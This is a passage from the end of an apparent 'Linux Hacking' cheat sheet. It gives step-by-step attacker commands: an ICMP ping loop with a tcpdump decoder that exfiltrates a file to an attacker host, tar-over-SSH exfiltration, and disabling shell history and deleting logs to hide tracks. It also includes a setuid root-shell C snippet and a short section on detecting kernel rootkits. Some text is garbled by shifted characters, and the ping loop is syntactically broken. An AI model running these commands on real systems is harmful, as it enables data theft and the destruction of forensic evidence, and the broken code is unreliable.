Execute the below loop. Make sure to insert the correct domain/IP
of the attacker C2 server.
counter=0;
while (($counter = ${#stringZ})} ;
do ping -s 16 -c l -p
${stringZ:$counter:16} attacker-ip &&
counter=$( (counter+6)) ;done
On Attacker Machine
Execute the below tcpdump command to receive and decode the file
into [Link]
tcpdump -ntvvSxs 0 'icmp[0]=8' [Link] |
grep Ox0020 [Link] | cut -c21- | tr -d " " | tr -d "\n" | xxd -
r -p
76 / 80
Linux Hacking
SSH Exfiltration
The below command will create a tar ball of the sensitivefile and
send it over SSH to the attacker's SSH server
tar zcf - sensitivefile | ssh attacker-ip "cd /<path>/; tar zxpf -"
Clearing Tracks
Disabling the bash history file to avoid having
our commands recorded
This is useful if you managed to get access to a machine and don't
want your commands to be recorded.
root@Red-hat:~$:Unset HISTFILE
root@Red-hat:~$:Unset HISTSAVE
root@Red-hat:~$:Unset HISTCMD
Clearing History
Clearing shell history
history -c
Removing bash history file
rm ~/.bash_history
Clearing Logs
Try to clear the below logs before logging out.
$WWHP SWHG logins for SSH
/var/log/[Link]
6\ VWHP events
77 / 80
Linux Hacking
/var/log/syslog
$FFHVV logs of services such as [mysql] and [Apache]
/var/log/<service/
Kernel Backdoors
A kernel backdoor is a malicious piece of code (often a NHUQHO
P RGXOH) loaded into the operating system’s kernel space. Unlike
userland malware, this code has elevated privileges and can:
Hide processes, files, or network activity.
Provide stealthy persistence.
Create covert channels or unauthorized root access.
In Linux, these are often implemented as Loadable Kernel Modules
(LKMs) with .ko extension. The attacker loads them via tools like
insmod , modprobe , or scripts during system boot.
To discover these module, follow the steps below;
Check Kernel Logs for Suspicious Modules
Start with dmesg to inspect what modules have been loaded or
messages printed by the kernel.
dmesg | grep -i spatch
This might show something like:
[ 12.345] Loading sneaky patch module...
Investigate the Kernel Module Itself
Use modinfo to gather metadata:
modinfo [Link]
78 / 80
Linux Hacking
Sample output:
filename: /lib/modules/.../[Link]
description: Sneaky kernel module
author: Unknown
license: GPL
Then navigate to where the .ko file is stored:
cd /lib/modules/$(uname -r)/
find . -name "[Link]"
Extract and Analyze with strings
Some IOCs might be embedded directly as an ASCII string or encoded.
strings [Link] | less
Summary
7HFKQLTXH ’ HVFULSWLRQ
Hiding Hooking functions like readdir() or getdents() to hide
processes entries in /proc .
Hiding files Overriding filesystem read operations to exclude
specific filenames.
Hiding Manipulating /proc/net/tcp or Netfilter hooks.
connections
Root escalation Replacing setuid() or exploiting /proc entries to grant
root access.
Keylogging Capturing keystrokes via interrupt handlers or input
subsystem hooks.
Tools/Functions Often Abused
kallsyms_lookup_name : Used to resolve addresses of kernel
functions not exported normally.
sys_call_table : Often hooked to redirect system calls.
79 / 80
Linux Hacking
init_module() & cleanup_module() : Entry and exit points of a
kernel module.
Appendix
Privilege escalation C code
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main (void) {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}
Done !
Check out other cheat sheets and study notes using the below link
[Link]
[Link]
80 / 80